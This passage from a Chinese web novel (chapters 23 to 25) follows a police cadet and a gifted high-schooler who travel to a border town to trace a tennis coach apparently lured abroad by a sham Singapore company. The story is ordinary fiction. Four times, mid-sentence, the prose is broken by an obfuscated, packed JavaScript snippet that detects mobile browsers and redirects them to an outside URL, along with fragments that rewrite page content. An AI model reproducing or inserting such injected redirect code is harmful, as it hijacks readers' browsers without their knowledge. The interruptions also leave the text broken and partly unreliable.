陶律夏偷偷望了一眼,平均一小时吃一个,理论上血糖波动可控,但是不是太喜欢了点。 橘子有那么好吃?但是好香…… 桌上的点单器“嗡嗡”地震了两下,陶律夏起身去前台拿回一个纸杯。 “点的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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大概过了一首歌的时间,罗乐抬起头看着陶律夏,声音压得很低,像是憋了半天才挤出来:“……你能别总这样吗?” 陶律夏:“哪样?” “就……不说话突然摸人头的这种。”罗乐用手指轻轻敲了敲桌子,正色道:“这种行为,心理学上一般叫‘情绪操控’。” 陶律夏回过神,要不是指尖还残留着一点微凉的水迹,他几乎不敢相信——自己居然……摸了罗乐的头! 到底是哪个模块越权调用了运动接口?哪一层权限在违规操作?完全没有经过主系统的审批! 莫非是条件反射?陶律夏佯装镇定地喝了一口热可可,语气平稳地播起天气预报:“确认一下你头发淋湿的程度,外面是……下雨了吧?” 罗乐:“……” 这到底是个什么人?一记「摸头杀」把别人弄得心跳紊乱,结果他自己冷淡得就像刚给地球仪擦完灰! “下了!”罗乐烦躁地扯了张纸巾,在头发上胡乱擦了两下,“等到十点关门再走吧。” “纸巾会掉屑,粘到脸上了……”陶律夏说完从书包里抽出一块叠得整整齐齐的手帕递过去,“用这个吧。” 罗乐接过来一看——手帕和书包同色,鼠尾草灰,质地精良,像是刚刚熨过。 这都是在哪买的啊?他还能整上配套!这人绝对天才,一般人没这精力天天折腾生活美学,还能门门考第一。 天才本人正一丝不苟地收拾东西,码齐书本的间隙,他又做了一遍自我检讨——冷静、自重,不准再想摸他的脸。 23. 春天是什么样子? 走出书店时,外头的雨已经大了不少,不至于倾盆而下,也足够让城市交通短暂瘫痪。十分钟过去了,罗乐也没有叫到一辆车。 雨滴落在伞面,敲出一片细密的节奏声,罗乐举着伞往陶律夏那边偏了偏,侧头看了他一眼:“你让我来打伞,是考虑到雨滴滑落轨迹,还是风压系数?” 陶律夏没吭声。 「静电球」怎么不输出知识了?罗乐耐不住,又往他那边凑了凑,一脸“你不输出,我不适应”的表情,“怎么不说话?难道是因为我的身高优势?” 陶律夏抬起头:“方便我用手机。” 罗乐:“……” “歪了。”陶律夏扫了一眼伞边。 罗乐斜了他一眼:“唉!给你当人形伞架,还能被你还挑毛病?” “你的肩膀弄湿了。”陶律夏抬手,指尖轻轻一拨,把伞柄往罗乐那边推了推。 伞面轻晃,水滴在空中划过,罗乐侧过头,肩膀还真被洇湿一片。 这天气自己抗一抗无所谓,少爷还得上课,可别感冒了。他打开通话记录,准备找林岘来救场,手指刚点到号码,就听见陶律夏的声音:“我叫到车了。” 陶律夏低头看了眼手机说:“要不,你先跟我回去吧,60分钟后,降雨的概率是20%,那时候比较好打车。” “去……去哪儿?”罗乐的脑子嗡了一下。 “我家。”陶律夏一脸坦然。 “这怎么合适?”罗乐立马推脱:“还得跟你家人打招呼,麻烦死了。” “现在的订单大概需要40到50分钟才能匹配到车,而且……” 陶律夏的目光滑到罗乐那件硬凹造型的薄衬衫上—— “你不冷吗?” 罗乐咬紧牙关,嘴硬到底:“我这叫潮,懂吗?” “潮湿的潮吗?”陶律夏朝驶来的车招了招手,扭头道:“走吧,我一个人住,你不必有社交压力。” 罗乐别别扭扭地上了车,脑子乱成一团。 “一个人住”是什么意思?家长不在家?出差、出国、驻外还是……念头一个接一个地冒出来,直到踏进公寓的门,罗乐才发现——“一个人住”就是字面意思。 眼前是一套超过百平米,但只有一个人居住痕迹的房子。 “随便坐吧。”陶律夏拎着书包径直走去了书房。 随便坐?罗乐站在原地环顾一圈,感觉像误闯了某个冷感展厅——家具极少,清一色冷调白,客厅里连个沙发都没有。 唯一能“随便坐”的,是一把单人椅,孤零零地搁在橄榄绿的长绒地毯上。 餐厅区域比客厅稍有“人气”一点,中央是个料理台,旁边有一个简洁的吧台,高脚椅立在一侧,像是唯一可以接纳客人的地方。 目力所及,书架上的书、洗手台的用品、餐吧的摆件……每一件东西都在“它该在的位置”,仿佛这个房间的主人对任何「混乱」都难以忍受。 唯一的「异常」,是客厅角落那个半米高的玻璃缸。罗乐走了过去,“砰”地一声轻响,感应灯自动亮起,柔和的光线洒在生机勃勃的绿意上。 玻璃缸周围随意堆放着造型各异的石头,缸里种着各式各样的植物,罗乐认出几个熟悉的品种:虎耳草、猪笼草、空气凤梨。有几朵迷你的黄色小花点缀其中,叶片下藏着豆米大的假鳞茎,是兰花。 陶律夏顺着罗乐的目光看了过去,随口介绍道:“微型石斛兰,依附在树皮或者岩石上生长,花期7-10天,你刚好赶上。” “你还有时间伺候这些……娇贵的东西?”罗乐目露疑惑。 “紫外线灯、控温器、自动喷淋设备……”陶律夏随手指道。 “温差控制在10℃以内,光照强度在8000到12000勒克斯之间,空气湿度保持在65%-75%,每个月喷施一次低浓度的液态肥。” “不需要伺弄,它们自然生长,我只是提供一个稳定的环境。”陶律夏走到吧台,拉开柜门,头也不抬地问:“喝点什么?” 罗乐抬眼望过去,好家伙!一柜子的杯子,玻璃杯、茶杯、咖啡杯、马克杯、酒杯、钢杯……数量之多,完全可以开一家全时段营业的咖啡馆。 这个屋子从装潢到物品,再到「静电球」本人,处处透露着一种让人搞不懂的精致怪诞,罗乐觉得脑子烧得有点厉害—— “……有凉的吗?”他问。 “冰箱里,随便拿。”陶律夏指了指餐吧旁的小冰箱。 罗乐拉开冰箱门,里面全是饮料,摆放得整整齐齐,堪称强迫症福音。 第一排,绿瓶气泡水,0糖、0脂、0卡,健康到让人绝望;第二排,维C蔬果汁,包装精致,贴着手作标签,一看就是“学神标配”。 第三排,终于见到了点正常的东西:易拉罐。罗乐随手拿了一罐,“咔哒”一声拉开,仰头灌了一大口—— 味道不太对劲,有种踩雷的感觉,他看了一眼标签:果啤…… 这小子居然喝这个?!罗乐把罐子放到一边,重新拉开冰箱门,然后,整个人都不太好了。 果啤旁边,是白啤。 白啤旁边,是黑啤。 黑啤旁边是发酵果酒,柚子限定…… 臭小子!夜生活整挺丰富啊?晚上靠咖啡续命,深夜还靠酒精助眠?! 罗乐心态彻底炸裂,恨不得立刻、马上把那一整排酒倒进水槽,顺便把「静电球」摁在椅子上教育。 你才多大啊? 一个人住也不能这么放纵吧! 家长不在身边,就这么无法无天? 我要是他家长,我早就…… 早就…… 罗乐的气焰忽然灭了一半。 自己有什么资格管?他算陶律夏什么人? 他只不过是个偶尔对线、临时撑伞、误入超话的警察罢了。他有什么立场去干预别人的生活? 罗乐沉默地坐着,喝完了一整罐果啤,他没头没尾地开口:“你平时……就这样生活?” “什么……”陶律夏问。 罗乐抬起头:“你一个人,怎么生活?” “就正常生活啊。”陶律夏转过头,语气平静,唇角勾起一个若有似无的弧度。 “每天怎么吃饭?” “生病了怎么办?” “你为什么一个人?” “家人为什么不在?” “你到底是怎么长大的……” 这些问题,罗乐都没有问出口。 心头的混乱被另一种更深刻的情绪替代,那种感觉无法立刻分辨,迷惑、不解,还是别的什么东西,沉沉地压了下来。 他又从冰箱里拿了一罐酒,冰凉的液体顺着喉咙滑下去,明明甜得发腻,却又有些苦。 “小夏……” 罗乐把啤酒罐搁在桌上,正色道:“如果你有什么事儿,需要人帮忙,就打电话给我,随时随地都可以。” “罗警官,你平时的工作就这么清闲?”陶律夏缓缓侧过头。 “你平时又能有多少需要别人帮忙的事儿?”罗乐毫不示弱地反问。 “买热可可这种不算,下次自己叫外卖!我说的是那种——” “你放学太晚了需要人接,或者……你被小狗咬了。”罗乐神色认真。 “被小狗咬了,找你有什么用?”陶律夏往茶杯里丢了一个茶包,饶有兴趣地望着罗乐。 “我可以陪你去打疫苗。”罗乐一本正经地接话。 热水浸没茶包,褐红色的茶汤在水里拖出一道细腻的轨迹,陶律夏手指一顿,低笑出声。 “打疫苗可能不需要。”他抬起头,眼睛里带着点恶作剧的狡黠:“你可以帮我揍它吗?” “多大点事儿!”罗乐扬起脸,“我顺便再给它做个心理辅导,让它以后看见你都得绕道走。” 陶律夏盯着他看了一会儿,没有说话,他走到音响前,指尖落下,柔缓的音乐在空间里流淌开来。 两人一南一北,各坐一隅,一杯茶的时间,却像是待在一起许久…… 久得不像是第一次进门,久得好像彼此间,原本就该留下些没说完的话。 窗外的雨声渐渐从急促的鼓点转为若有若无的轻拍。罗乐低头看了一眼手机,终于起身:“时间不早了,我该走了。” 他拎起包,走到玄关, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15939312|177278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却没有开门,而是回头望了过去:“刚才说的不是玩笑,真有事儿,你就给我打电话,随时随地都可以。” 语气笃定,目光真挚,像是不容推辞的命令。玄关的感应灯亮了,又灭,陶律夏终于点了点头:“好。” 门“砰”地一声合上…… 陶律夏站在原地,那句”随时随地“还在脑中震荡。他本该拒绝,换作往常,任何人试图建立超出「合理交互边界」的连接,他都不会点头。 可他却说了「好」,出现这种程度的语义混乱,大概是因为对方突然转变的互动逻辑,让人一时无法反应? 罗警官为何会这样? 尝试回溯变量,雨天、陌生环境、低光源,还是?陶律夏的目光缓缓落在桌面那几只被捏瘪的果啤罐上—— 他喝了酒…… #干扰变量引入记录:酒精摄入# 创建时间:23:17 研究编号:R.L-β-beer 【偏好:甜口酒类(桃子味),酒精度3.2%】 【酒精耐受度:中偏高(3罐无醉态,语义完整,肢体协调)】 【酒后主要症状】 1. 注视时长超标,眼神过于黏人; 2. 情绪表达系统轻度脱控,关照型语句高频出现, 附典型样本→伪命题式诱导:“小狗咬你”; 3. 行为决策延迟,临走前三次回头。 【补充附录· R.L酒后情绪语言对本人干扰分析(加密)】 1.样本语言→ “我可以陪你去打疫苗。” a.类型判定:日常型关照话语,携带情绪投射; b.干扰幅度:情绪触发值超标,已突破愉悦性表达边界,笑出声(判定为严重); c.附带效应:触发模拟,陪同画面生成3秒,强制中断。 2.样本语言→“我顺便再给它做个心理辅导,让它以后看见你就绕道走。” a.类型判定:幽默型掩饰话语·情绪纵容成分过高 b.干扰幅度:★★★★☆(极高) 陶律夏将记录默默归档,走到阳台上。雨已经停了,他朝远处望了望,街灯落在水洼里,碎成一片迷离的橘色,夜色寂静,空无一人…… * 罗乐站在小区门口吹了一会风,才坐进车里。他觉得自己,有点醉了。 不是那种会胡言乱语的醉,是“情绪上了头”的那种,头脑发胀,耳尖发热,冷风往脸上扑了两下,没能把他吹清醒,反倒撩起了心里的……惆怅。 他靠在座椅里,有些迷惑地想——陶律夏,到底是个什么样的人? 超话里粉丝爆棚的学神,住在内环高档公寓的富二代,一开口就是知识暴击,把人怼得没脾气的「小静电球」。 时而高冷如月球表面,时而软得像棉花糖,时而强得让人不敢靠近,时而又菜得令人发笑…… 罗乐以前觉得,他是某种奇怪又漂亮的矛盾体,但那种“奇怪”也都在可以理解和最终理解了的范围内。 直到今天。 他进了陶律夏的家,看到那冷清得像实验室展厅的客厅,还有……冰箱里的酒。 一个中学生,喝什么酒? 是靠酒入睡?靠酒熬过没人提醒穿秋裤的倒春寒?还是想靠酒把安静得发毛的房子灌出一点气氛…… 而自己呢,又干了什么? 为什么不当场把那些酒全倒了,再按着他写三页检查?为什么连一句“你怎么能喝酒呢”都没问出口? 连个眼神都不敢狠一点,就坐在那里,像个沉默的同谋,装傻似的喝了三罐果啤,还特么是桃子味的! 这辈子喝的甜兮兮的果啤都没今天多! ——太失败了。 该说的话一句没说,该做的事一件没做,就看着他泡茶、开灯、听歌,歌里唱着“Let me see what spring is like on Jupiter and Mars…” 罗乐看向窗外,水洼里盛着隐隐绰绰的光,像碎掉的月亮。 春天是什么样子?微醺、惆怅、桃子味的…… 24. 搭救“情敌” 警校图书馆四楼的偏僻角落,罗乐正低头奋笔疾书,面前摊着三本“青春期情绪识别”,两本“青少年人际交往心理”。 他一边看,一边用蓝色水性笔工工整整地记笔记——不否定、不评判,尝试共情,建立长期、非控制型的信任关系…… “我就说嘛,你最近行迹可疑。”一道熟悉的声音冷不丁地贴在耳边。罗乐身子一顿,把书往边上一推,肘子一横,把摊开的笔记压得严严实实。 “别挡了,我都看见了。”林岘笑笑。 “你来干嘛。”罗乐的嗓音硬得像钢片。 林岘在他对面坐下,撑着下巴,半眯着眼打量:“哥们,你真是不走寻常路,我长这么大,头一次见追人先背心理学教材的。” “谁背了?”罗乐仰起头,往椅背上一靠,“随便翻翻。” “有正事告诉你。”林岘故作郑重地凑近,像要放出什么猛料:“我打听到你情敌的出境记录了。” “3月27号,他从槟州机场出境,落地昆塔首都帕兰纳。” “昆塔?怎么会是昆塔,不是马达纳吗?”罗乐抬起头。 “出境记录怎么会有错,我说……”林岘话锋一转,瞟了罗乐一眼,“你是不是太宠他了?真要连情敌都搭救?” “我和你说多少次了!那是小朋友的……”罗乐压低声音,一字一顿地吐出四个字:“网!球!教!练!” “再说了,别人遇到困难和你求助,你能不管?”罗乐迅速占领道德高地。 林岘举手投降:“得得得,职业素养和恋爱脑还被你给兼容了!晚上干嘛?东升路新开了家台球馆,陪我去打两盘?” “没空。”罗乐翻了一页笔记,“我得去听讲座。” “噗——”林岘当场笑趴在桌上,抖成一团,“这次是什么?‘青少年陪伴心理’还是‘信任关系搭建’,你太拼了吧!你要不要再写个恋爱观察报告?” “我现在就能给你写一个‘损友胡说八道的下场报告’,想进骨科就直说!”罗乐咬牙低吼。 “小声点!这里是图书馆!”隔壁桌忍无可忍地丢来一记白眼。 罗乐压低嗓音,对林岘吼道:“你快点滚!” “我滚我滚。”林岘一边笑一边起身,“哥祝你早日成功!” 罗乐目送林岘走远,感觉自己也待不下去了,总觉得有几道目光在旁边偷偷打量。 明明是正经八百的心理学知识,结果被姓林的一顿嚷嚷,半层楼估计都以为他一个猛男蹲在图书馆里偷学恋爱技巧。 他一脸无语地收拾东西,背上书包火速撤离。 套路、攻略、技巧,这和他骨子里讲求自由、直接、实感的行事风格严重冲突。和人相处如果这么麻烦,那不如一个人过一辈子算了。 路过一楼大厅时,罗乐一眼扫到饮料机里“牛奶可可”的标签。他走到跟前,摁下购买键,饮料罐“哐”地落下,小小的一罐,还不到200毫升。 他拉开拉环喝了两口,啧,甜得要命…… 怎么会喜欢喝这种东西?不过,摄入糖分后,心情确实好了不少。罗乐把空罐子丢进垃圾桶,走出门去。 恋爱技巧是断不可能学习的,但那个中学生确实悄无声息地影响了他,如果不承认这一点,那就太不诚实了。 * 两天后的傍晚,罗乐按约去了陶律夏家附近的便利店。 刚一进门,就看见那小子站在货架前,手里拿着瓶饮料翻来覆去地看。罗乐靠近,瞄了一眼瓶身:冷萃咖啡! 他顿时黑了脸:“青少年深夜饮咖,危害很大!”语气虽冲,但和上次相比略有进步,没有直接上手抢夺,「你怎么又开始作妖」也被罗乐强行憋了回去。 心理学教材没白看…… 陶律夏面无表情地往旁边挪了半步,把冷萃咖啡放了回去,又挑了一瓶低因的,说:“明天早上喝。” “明早你是不是打算不吃早饭直接灌。”罗乐将那瓶低因咖啡接过,又往购物篮里扔了一个面包,“买一送一,给你搭配早餐。” 陶律夏低头看了眼面包,眉头微皱:“加工食品短期内能产生饱腹感,但会带来血糖波动,早晨吃会降低注意力。” “……” 罗乐心说你吃辣条的时候,怎么不担心血糖波动,他把面包放回架子,闷声问:“不吃面包,那早上吃什么?” “牛奶,全脂妙鲜屋,再要两根香蕉。”陶律夏指了一下冷柜。 罗乐自动加购双份,拿着“学神同款早餐”在收银台结完账,问起正事:“周隽说什么了?” “哦,今天下午回了条信息。”陶律夏把手机拿给罗乐看,“用了和你同款的藏字法,连起来就是——我在马达纳。” 罗乐扫了一眼屏幕,语气微沉:“我找人查到了周隽的出境记录,3月27号他从槟州出境,目的地是昆塔啊。” “他不是先去的新加坡吗?”陶律夏眉头一皱。 罗乐把手机递回给陶律夏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15939313|177278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“他和你说要去新加坡,结果去了昆塔,但现在又说在马达纳?不过出境后的信息就很难查了。” 两人一前一后走出便利店,自动门在身后“嘀”的一声合上。 陶律夏:“那该怎么办?” “我准备去趟槟州,朋友介绍了一个边境站的公安,过去打听打听,看周隽这事该怎么弄。”罗乐说得十分轻巧,好像只是隔天去公园跑个早操。 陶律夏抬头看着他:“打听情况,有必要专门跑一趟吗?” 罗乐单手插兜,笑了一声:“你知道周隽家在哪吗?” “我怎么会知道?”陶律夏反问。 “他简历上没写?”罗乐轻哂一声。 “简历上为什么要写这个?”陶律夏斜他一眼,“他家在槟州?” “聪明!”罗乐打了个响指,“槟州栖凤镇。” 陶律夏:“你什么时候去?” 罗乐:“后天。” 陶律夏拿出手机上查了查,抬头时,语气已确定无疑:“我也去。” 罗乐停下脚步,转头盯着他看了一会,低低笑了一声:“你哪有时间?” “五一放假。”陶律夏不紧不慢地说,“搭一号早上七点半的飞机,三号晚上十点回来,三天够用吗?” “你还真安排得明明白白。”罗乐笑着,又多看了他一眼,“但不行。” “为什么?”陶律夏停下脚步。 “你以为是去旅游?我带着你不方便。”罗乐看着他,试图把这句拒绝讲得利落点。 陶律夏站定了:“你觉得我会拖你后腿?” “我会看地图,能规划路线,遇到情况也能帮你分析。而且这件事,说到底是因我而起,我怎么能让你专门跑一趟?” “就算没你,遇到这种事,我也会管。”罗乐轻声说,“你等我的信儿,有消息我第一时间告诉你。” “我和你一起去。”陶律夏坚持。 “快回去吧,明天还要上课。”罗乐说着,转身要走,可还没迈出一步,衣角就被拽住了…… 力道不大,甚至称得上克制,可这么点劲儿,就把他牢牢地按在了地上。 “我们一起去吧。”陶律夏仰头看着他。 罗乐知道,只要轻轻拨开那只手,再说一句“不行”,就能彻底终结这场拉锯,但他站着没动,像被施了什么不得不从的魔法,败下阵来—— “那你得听我指挥,不许擅自行动。” “好的!” 25. 生日礼物 五一当天,罗乐和陶律夏从槟州机场出来,坐上车直奔栖风镇。 车子驶出城区,远山连绵,云团低垂,田埂旁偶尔可见高大的芭蕉树。 到达时已是中午,两人沿着地址寻到一条小巷。巷面不宽,拐了三两个弯,便到了一间院子。 院门半掩着,一只橘猫趴在门前的石墩上,听着有动静,它懒洋洋地睁开眼,看了一眼来人,又慢吞吞地把头埋进爪子里,继续打盹。 敲门后没等多久,一个头发花白的老太太从屋里走出来,她穿着一件洗得发白的蓝色对襟褂子,袖口还沾着些药草的碎屑。 “奶奶您好,这是周隽家吗?”陶律夏上前打招呼。 老太太的目光在俩人身上停留片刻,像是在分辨来意。 “这是周隽家吗?”罗乐提高音量,重复了一遍。 老太太说了一串方言,语速不快,声音也算清楚,但对罗乐和陶律夏来说,跟加密通话也没什么区别。 然后,场面就进入了「多方努力但毫无进展」的局面—— 陶律夏耐心重复着周隽二字,试图靠“名字”让她明白此行的目的;罗乐比划着打电话的手势,试图让她理解“联系”这个概念;而老太太则不慌不忙地继续用方言回话。 罗乐心叹,若不是带着一个体型无害的中学生,单他一个人站这儿,恐怕分分钟被当成图谋不轨的不法分子。 他低头摸出手机,正想着要不要试试语音翻译,就见「静电球」从包里掏出纸笔,不慌不忙地写起字。 写字要是有用的话,刚才的比划手势不也该起点效果?罗乐没说什么,他立在一边,看着少年一笔一划地写字,每个字都写得斗大。 没等检验文字沟通的有效性,身后忽然传来一个男声——“你们找大娘有事?” 两人回头,看到一个二十岁出头的青年站在院门口,肩上挎着个背包,像刚从外面回来。 罗乐不想浪费时间,直接问道:“你认识周隽?”青年耸耸肩:“我们是邻居,怎么了?” “你怎么称呼?”罗乐问。 “赵峥。”青年答道,“你们找周隽?他出国了。” 陶律夏看向赵峥:“你怎么知道他出国了,他和你联系过吗?” 赵峥点点头:“他之前回来过,你们到底有什么事?” 罗乐压低声音,直截了当地开口:“周隽现在可能被困在了马达纳,你能帮忙和他家人问点事儿吗?” “马达纳!?”赵峥轻呼,手里的矿泉水瓶被他捏得微微变形。他和老太太说了几句话,便招呼罗乐和陶律夏:“进去坐吧。” “你们是警察?”赵峥打量二人。 “我算是警察吧。”罗乐大言不惭地应和,“今年七月上岗。” “算是?”赵峥皱起眉,似乎没见过这么不靠谱的执法人员。 “周隽是我的网球教练,是他向我发的求助信息。”陶律夏介绍说,他掏出手机,翻开和周隽的聊天界面,在赵峥眼前晃了一下。 赵峥刚凑近,还没来得及看清楚,手机就被陶律夏收了回去。 “?”赵峥微微皱眉。 陶律夏面色如常道:“根据周隽发的信息,我们推测他被困在了马达纳。” 罗乐被陶律夏这一整套“操作”逗乐了。这小子自己也觉得那些话恶心吧?还特意晃得那么快,生怕邻居看清?为什么不让大家都欣赏一下周隽的“矫情文学”? 不过赵峥却没再追问,他眉头紧蹙,神色有些凝重。 罗乐收起玩味,主动开口问:“能不能帮忙问问,周隽最近有没有跟家里联系过?要是方便,把奶奶的电话拿来看看。” 赵峥点点头,起身走向里屋,和老太太说了几句。几分钟后,他拿着手机走了出来:“大娘说最近他打电话确实比以前少了。” 赵峥说着,在屏幕上滑了几下:“这个月只打了两次。” 通话记录一目了然,几乎全是周隽的来电。二人的联系语音居多,偶尔穿插几条银行到账提醒,没有加密信息,也没有隐藏暗号。 “他联系奶奶的大多数时间也是周日下午五点,看来他还可以打电话。”陶律夏看向罗乐。 罗乐微微点头,示意赵峥:“用这个电话打给他试试。” 赵峥没有犹豫,拨下周隽的号码,手机听筒里传来清晰的“嘟嘟”声,半天无人应答。 “……不接。”赵峥放手机,客厅里安静下来。 “喝点水吧,大娘自己晒的茶叶,养胃的。”赵峥打破沉闷招呼道。 陶律夏捧着杯子,看向赵峥:“你刚才说,周隽回来过,大概是什么时候?” 赵峥回忆了一下说:“三月中旬。” 罗乐顺着问道:“他有没有说去哪里?” “好像是新加坡的一家公司,具体叫什么没细说。” “你们这边去东南亚,尤其是马达纳的人多吗?”罗乐又问。 赵峥语气沉了些:“确实不少,这边是边境,有些人去那边做苦力,也有人被忽悠去搞博/彩那些乱七八糟的东西。” “但周隽没道理会去。”赵峥补了一句。 “怎么说?”罗乐目光微动。 赵峥看了一眼老太太的方向,压低声音:“周隽从小成绩就好,又去京北读了研究生,这边往东南亚跑的,很多都是偷渡过去。” “而且……”赵峥抿了抿唇,话到嘴边又咽了下去。 “而且什么?”陶律夏问。 赵峥犹豫了一下,低声说:“他爸就是跑去东南亚那边,再没回来,后来他妈受不了,也离开家了,连封信都没留。” “现在家里就剩他和奶奶了。你说,他会去吗?” 罗乐没说话,从果盘里拿起一只橘子。 他剥完,把橘子皮攥在手里,正想问垃圾桶在哪,就看见桌上有个装瓜子壳的小纸盒。 罗乐把盒子拖到自己面前,手工折的,盒子边缘印着一行小字——VitalLife International (Singapore) Pte. Ltd. 罗乐把垃圾倒在纸巾上,展开纸盒,顺着折痕抚平纸面。纸张材质精致,印刷精美,边缘有撕扯过的锯齿,不是路边散发的广告传单,是某种册子的宣传内页。 他把纸递给陶律夏,四处打量一番,在茶几下摸到一本册子——封面设计、画风纸质,都与那个纸盒如出一辙。 三个人凑在一起,翻阅剩下的内容,一行行信息跃入眼帘—— 卓越人生计划、优质工作机会、集纳行业精英,新加坡维泰乐国际有限公司....… * 从周隽家出来,两人去街边小店点了两碗米粉。陶律夏吃了两口,便放下筷子,从书包里拿出笔记本电脑,手指飞快地敲字。 罗乐的余光扫到电脑屏幕,脸色一沉:“你在干嘛?” 陶律夏:“做简历,我打算用虚拟身份申请那家公司,看能不能钓出点信息来。” “你疯了?”罗乐盯着他。 “我只是申请,又不是要去。”陶律夏语气冷静,“而且我可以设邮件追踪插件,如果他们回信,就能追踪IP定位。” 罗乐气得脸都黑了,他压低声音:“你以为人家傻?真是黑产,怎么可能用真实IP?而且你能保证他们只回邮件,不在附件里塞木马?你能保证他们不会反追你的设备和定位?” 陶律夏抬头看着他:“你说警方暂时动不了,我们得自己找出突破口。” 罗乐噎住,语速一下子快了:“是‘我们’一起找,不是你一个人去跟黑产贴脸!真让你钓上了,对方要你发资料、填验证码、开摄像头,你打算接哪个?” 陶律夏静静地看着他,把电脑合上,轻轻往桌边一推:“那你说,我们下一步怎么做?” 罗乐没想到他这么快让了步,语气缓了些:“简历别发。明早先回槟州,见完我朋友介绍的冯警官,把情况捋一遍再说。” 陶律夏没吭声。 “这是底线。”罗乐正色道,“你来前怎么答应我的?你不听,我现在就送你回京北。” 陶律夏低下头,长长的睫毛忽闪忽闪,沉默了几秒,他点头道:“好,那这就当成是B计划。” “B计划?”罗乐瞥了他一眼,“你还整出分级方案了?” “做事有预案是基本操作。”陶律夏面无表情地把电脑装进包里,他拉上书包的拉链说:“我没提前和你沟通,是我考虑不周,抱歉。” “我很少和人打配合,以后我会注意。我可以给你补项目申请表。” 沟通、配合、项目申请表?罗乐心笑,知识暴击之外,这又开始整项目管理了。但这话落在陶律夏嘴里,一点都不显得刻意。 你没法嘲笑一个打算“补申请表”的人,你只能点头,接下他递来的这份倔强却认真的合作请求。 “成交!”罗乐点点头。 从米粉店出来,罗乐拐进一家小卖部,他拿了几瓶水,又抓了一袋香蕉。结完账,他掰下一根递到陶律夏手边:“米粉也没吃几口,吃点垫垫!” 口气生硬得像例行公事,陶律夏甚至从中读出了点“你要是不吃,我就扣你生活分!”的语感。 “我说你看什么啊?“罗乐被他盯得不太自在,眼神往外飘了飘,“高纤维、低升糖,这不是你自己说的?” “哦,谢谢。”陶律夏这才接过,慢吞吞地剥皮,完成任务似的咬了一口。 气氛有点奇怪,但又说不上哪儿怪。一只瘦长的黄狗从他俩身边晃过,尾巴甩过罗乐的鞋面。 罗乐清了清嗓子,扯出一句:“回宾馆把东西放下,晚点去转转吧,吃点当地特产。” “有什么?”陶律夏也连忙接了一句。 罗乐一本正经地说:“夜市招牌,酥脆香辣,一口爆汁。” 陶律夏:“什么东西?” 罗乐:“烤虫子。” 陶律夏看着手里的香蕉,多咬了一口。 边境集市的夜晚热闹非凡,摊位上摆满了五花八门的商品:手工编织的篮子,装在口袋里的香料,闪着光的廉价首饰…… 糖油炸物混着烟火气扑面而来,陶律夏第一次见识这种亚热带版“KTV+食堂+社交广场”的合体,他有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陶律夏低头看了一会,伸手拿起一个猫爪形状的铃铛,轻轻一晃,声音干净又清脆。 “谢谢。”陶律夏说完,忙指了指气球摊的对面,“……那边有你要吃的烤虫子,你去买吧。” 罗乐笑着瞥了他一眼:“我逗你玩呢,出门在外哪能乱吃这些怪东西?万一吃出问题怎么办?我还得保护你呢。” “我还得保护你呢……” 这句话说得十分自然,像在陈述一个简单的事实:月球围绕地球转动,苹果会从树上掉下来,而他,要保护你…… 陶律夏呼吸一顿,他低头快走几步,逃进前方包子摊蒸腾的雾气里。 他逐帧记录着情绪遮掩体出锅的全过程,摊主还以为来的是哪里的美食博主,热情地介绍起自己新开发的豆沙玫瑰馅包子。 “这有什么好拍的?你没见过蒸包子?”罗乐走到跟前。 “嗯,咱们走吧。”陶律夏机械地点屏保存,把手机放进了兜里。 刚走了几步,三个身形结实的男人忽然逼近,不由分说地挡住了他们的去路。 “有事吗?”陶律夏下意识地往后退了一步。 对方冷笑一声:“刚才是不是拍了什么不该拍的东西?” 罗乐扫了一眼对面的三个男人,这些人要么是刚才就在干什么脏事,心虚了;要么只是想找个借口抢东西。 他把陶律夏往身后一挡,冲着三个男人笑道:“哥们,是不是有什么误会,有话好好说。” “少装蒜!”其中一个男人突然上前,直接就要动手。 罗乐把手里的零食袋一甩,砸在那人身上,趁着对方分神的瞬间,一个猛拳挥过去!对方一个踉跄,撞翻了旁边的水果摊,几个火龙果滚落在地上。 “你先走,回宾馆等我!”罗乐回头朝陶律夏喊道。 陶律夏下意识地跑了几步,脚步忽然顿住——罗乐一个人对上三个人,真的行吗? 他转过身,事实证明,多虑了…… 罗乐身手凌厉,抬腿一记侧踢,直接将一个冲上来的男人踹翻在地。另一个男人挥拳砸来,他灵活地一侧身,抓住对方的手腕,猛地一扭,男人惨叫一声,倒在地上。 第三个男人见势不妙,从腰间摸出一把折叠刀,朝罗乐冲去。 “小心啊!”陶律夏下意识喊出声。 罗乐反手抓起水果摊上滚落的火龙果,直接朝持刀男砸过去。紫色的果汁顺着那人额头流下来,罗乐趁机一脚踢中那人的手腕,折叠刀“咔哒”一声掉在地上。 持刀男哀嚎一声,踉跄着还想去捡,刀已被罗乐一脚踢远。 